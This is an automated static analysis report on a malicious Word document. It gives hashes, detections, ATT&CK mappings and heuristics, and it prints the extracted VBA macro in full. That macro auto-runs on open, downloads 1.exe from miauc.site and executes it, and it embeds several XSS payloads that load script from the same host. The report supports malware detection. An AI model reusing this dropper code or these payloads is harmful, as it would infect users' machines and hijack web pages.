Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 53af1c2f28ce9761…

MALICIOUS

Office (OOXML)

20.7 KB Created: 2021-07-28 13:43:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2021-10-07
MD5: 9480562acc69950f51bc22bf618f078a SHA-1: acc3ba50403d90770ee39e1c058036a29368a8b9 SHA-256: 53af1c2f28ce97618d702f28761a852ac3545ccd5c04152c829426480daec91f
368 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1071.001 Web Protocols

The sample contains VBA macros with AutoOpen, Auto_Open, and Workbook_Open functions, indicating an attempt to execute malicious code upon opening. The macros utilize Shell() and CreateObject() calls, and evidence suggests they download and write a file to disk using HTTP. The script attempts to download content from "https://miauc.site", likely to execute a second-stage payload.

Heuristics 11

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell (fileN)
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        .write xHttp.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://miauc.site Referenced by macro
    • http://miauc.site:8080/raccoons/Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2327 bytes
SHA-256: a5f4a5962f71d5af69f6aa43a54b6d9268bb7dbc8e74a65ec4227e87f1c58aa2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 12 eval/decoder/string-building token(s). Carved artifact contains 4 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
    TheCoon
End Sub

Sub Auto_Open()
    TheCoon
End Sub

Sub Workbook_Open()
    TheCoon
End Sub

Private Sub Box()
Debug.Print """><script src=""https://miauc.site""></script>"
Debug.Print "<img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS50ZXh0PWFsZXJ0KCJDU1AiKTs7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= onerror=eval(atob(this.id))>"
Debug.Print "<img src=. onerror=document.write('<script src=""https://miauc.site""></script>')/>"
Debug.Print "<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener(""load"", b);a.open(""GET"", ""//miauc.site\a.send();</script>"
Debug.Print "<script>$.getScript(""//miauc.site"")</script>"
Debug.Print "javascript:eval('var a=document.createElement('script');a.src='https://miauc.site';document.body.appendChild(a)')"
Debug.Print """><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vbWlhdWMuc2l0ZSI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs autofocus>"
Debug.Print """><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vbWlhdWMuc2l0ZSI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs onerror=eval(atob(this.id))>"
Debug.Print "<img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vbWlhdWMuc2l0ZSI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs onerror=eval(atob(this.id))>"
Debug.Print """><video><source onerror=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vbWlhdWMuc2l0ZSI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs>"
Debug.Print "<img src=. onerror=alert()>"

Dim fileN As String
fileN = "1.exe"

Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "http://miauc.site:8080/raccoons/" & fileN, False
xHttp.Send

With bStrm
    .Type = 1 '//binary
    .Open
    .write xHttp.responseBody
    .savetofile fileN, 2 '//overwrite
End With

Shell (fileN)
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11264 bytes
SHA-256: 69c2ed77476657dfddc0caef0612254de7ff0f0ea06bfff4787cecc8a24633b9
Detection
ClamAV: Doc.Downloader.Generic-6698421-0
Obfuscation or payload: likely
Carved artifact contains 13 eval/decoder/string-building token(s). Carved artifact contains 4 long base64-like blob(s).

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